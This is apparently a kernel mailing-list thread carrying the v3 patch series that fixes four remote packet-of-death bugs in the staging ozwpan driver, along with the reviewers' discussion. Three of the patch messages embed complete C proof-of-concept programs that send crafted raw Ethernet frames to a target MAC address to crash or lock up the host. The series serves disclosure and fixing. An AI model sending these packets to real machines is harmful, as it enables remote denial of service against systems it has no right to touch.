}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
1 file changed, 9 insertions(+), 4 deletions(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..b573ad3 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
- sizeof(struct oz_get_desc_rsp) + 1;
- u16 offs = le16_to_cpu(get_unaligned(&body->offset));
- u16 total_size =
+ u16 offs, total_size;
+ u8 data_len;
+
+ if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+ break;
+ data_len = elt->length -
+ (sizeof(struct oz_get_desc_rsp) - 1);
+ offs = le16_to_cpu(get_unaligned(&body->offset));
+ total_size =
le16_to_cpu(get_unaligned(&body->total_size));
oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
--
2.4.2
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v3 2/4] ozwpan: Use unsigned ints to prevent heap overflow
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-29 11:06 ` Jason A. Donenfeld
2015-05-29 11:07 ` [PATCH v3 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-29 11:07 ` [PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
3 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 11:06 UTC (permalink / raw)
To: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
Cc: Jason A. Donenfeld
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.4.2
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v3 3/4] ozwpan: divide-by-zero leading to panic
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
@ 2015-05-29 11:07 ` Jason A. Donenfeld
2015-05-29 11:07 ` [PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
3 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 11:07 UTC (permalink / raw)
To: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
Cc: Jason A. Donenfeld
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index b573ad3..7b13dc9 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.4.2
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (2 preceding siblings ...)
2015-05-29 11:07 ` [PATCH v3 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
@ 2015-05-29 11:07 ` Jason A. Donenfeld
3 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 11:07 UTC (permalink / raw)
To: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
Cc: Jason A. Donenfeld
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 7b13dc9..f660bb1 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,10 +326,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
- if (!body->unit_size)
+ unsigned int n;
+ if (!body->unit_size ||
+ len < sizeof(struct oz_multiple_fixed) - 1)
break;
- n = (len - sizeof(struct oz_multiple_fixed)+1)
+ n = (len - (sizeof(struct oz_multiple_fixed) - 1))
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.4.2
^ permalink raw reply related [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 11:06 ` [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-29 12:00 ` Dan Carpenter
2015-05-29 12:36 ` Frans Klaver
0 siblings, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-29 12:00 UTC (permalink / raw)
To: Jason A. Donenfeld
Cc: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
On Fri, May 29, 2015 at 01:06:58PM +0200, Jason A. Donenfeld wrote:
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> - sizeof(struct oz_get_desc_rsp) + 1;
> - u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> - u16 total_size =
> + u16 offs, total_size;
> + u8 data_len;
> +
> + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
> + break;
> + data_len = elt->length -
> + (sizeof(struct oz_get_desc_rsp) - 1);
Gar... I'm really sorry. I wanted to Ack these and be done but why did
the + 1 change to a - 1? And I had the same question about the other
patch as well.
Sorry for the hassle and thanks for doing this work.
regarsd,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 12:00 ` Dan Carpenter
@ 2015-05-29 12:36 ` Frans Klaver
2015-05-29 12:41 ` Dan Carpenter
2015-05-29 15:21 ` Jason A. Donenfeld
0 siblings, 2 replies; 42+ messages in thread
From: Frans Klaver @ 2015-05-29 12:36 UTC (permalink / raw)
To: Dan Carpenter
Cc: Jason A. Donenfeld, linux-kernel, devel, Shigekatsu Tateno,
Greg Kroah-Hartman
Hi,
On Fri, May 29, 2015 at 2:00 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> On Fri, May 29, 2015 at 01:06:58PM +0200, Jason A. Donenfeld wrote:
>> --- a/drivers/staging/ozwpan/ozusbsvc1.c
>> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
>> @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
>> case OZ_GET_DESC_RSP: {
>> struct oz_get_desc_rsp *body =
>> (struct oz_get_desc_rsp *)usb_hdr;
>> - int data_len = elt->length -
>> - sizeof(struct oz_get_desc_rsp) + 1;
>> - u16 offs = le16_to_cpu(get_unaligned(&body->offset));
>> - u16 total_size =
>> + u16 offs, total_size;
>> + u8 data_len;
>> +
>> + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
>> + break;
>> + data_len = elt->length -
>> + (sizeof(struct oz_get_desc_rsp) - 1);
>
> Gar... I'm really sorry. I wanted to Ack these and be done but why did
> the + 1 change to a - 1? And I had the same question about the other
> patch as well.
I would say that it is because part of the expression has been placed
inside parentheses:
a - b + 1 == a - (b - 1)
Guess it makes the decision logic slightly more readable.
Frans
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 12:36 ` Frans Klaver
@ 2015-05-29 12:41 ` Dan Carpenter
2015-05-29 15:20 ` Jason A. Donenfeld
2015-05-29 15:21 ` Jason A. Donenfeld
1 sibling, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-29 12:41 UTC (permalink / raw)
To: Frans Klaver
Cc: Jason A. Donenfeld, linux-kernel, devel, Shigekatsu Tateno,
Greg Kroah-Hartman
Oh. Duh. Of course.
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 12:41 ` Dan Carpenter
@ 2015-05-29 15:20 ` Jason A. Donenfeld
2015-05-29 15:29 ` Dan Carpenter
0 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 15:20 UTC (permalink / raw)
To: Dan Carpenter
Cc: Frans Klaver, linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
On Fri, May 29, 2015 at 2:41 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Acked for the rest of the set too?
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 12:36 ` Frans Klaver
2015-05-29 12:41 ` Dan Carpenter
@ 2015-05-29 15:21 ` Jason A. Donenfeld
1 sibling, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 15:21 UTC (permalink / raw)
To: Frans Klaver
Cc: Dan Carpenter, linux-kernel, devel, Shigekatsu Tateno,
Greg Kroah-Hartman
On Fri, May 29, 2015 at 2:36 PM, Frans Klaver <fransklaver@gmail.com> wrote:
>
> I would say that it is because part of the expression has been placed
> inside parentheses:
>
> a - b + 1 == a - (b - 1)
>
> Guess it makes the decision logic slightly more readable.
Yes, exactly this. It's so that the bounding check conditional prior
looks identical to the actual subtraction, making it much easier to
read and verify.
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 15:20 ` Jason A. Donenfeld
@ 2015-05-29 15:29 ` Dan Carpenter
0 siblings, 0 replies; 42+ messages in thread
From: Dan Carpenter @ 2015-05-29 15:29 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: devel, Frans Klaver, linux-kernel, Greg Kroah-Hartman
On Fri, May 29, 2015 at 05:20:52PM +0200, Jason A. Donenfeld wrote:
> On Fri, May 29, 2015 at 2:41 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> > Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
>
> Acked for the rest of the set too?
Yes. Thanks.
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
end of thread, other threads:[~2015-05-29 15:29 UTC | newest]
Thread overview: 42+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2015-05-13 18:33 [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-15 15:02 ` David Laight
[not found] ` <CAHmME9oA3AxBvAYyu38o4Teo3QBjvJZLzmiAv7RyThGbtv6zkw@mail.gmail.com>
2015-05-15 18:04 ` Jason A. Donenfeld
2015-05-16 10:20 ` Charles (Chas) Williams
2015-05-13 18:33 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-13 18:33 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
2015-05-13 18:48 ` Jason A. Donenfeld
2015-05-13 18:53 ` Greg KH
2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-24 20:26 ` Greg Kroah-Hartman
2015-05-13 18:58 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-26 13:32 ` Dan Carpenter
2015-05-26 13:49 ` Jason A. Donenfeld
2015-05-26 13:56 ` Dan Carpenter
2015-05-26 14:58 ` Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-26 14:06 ` Dan Carpenter
2015-05-26 14:34 ` [oss-security] " Jason A. Donenfeld
2015-05-28 11:04 ` Dan Carpenter
2015-05-28 15:37 ` Jason A. Donenfeld
2015-05-28 16:34 ` Greg Kroah-Hartman
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-29 12:00 ` Dan Carpenter
2015-05-29 12:36 ` Frans Klaver
2015-05-29 12:41 ` Dan Carpenter
2015-05-29 15:20 ` Jason A. Donenfeld
2015-05-29 15:29 ` Dan Carpenter
2015-05-29 15:21 ` Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
2015-05-29 11:07 ` [PATCH v3 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
2015-05-29 11:07 ` [PATCH v3 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.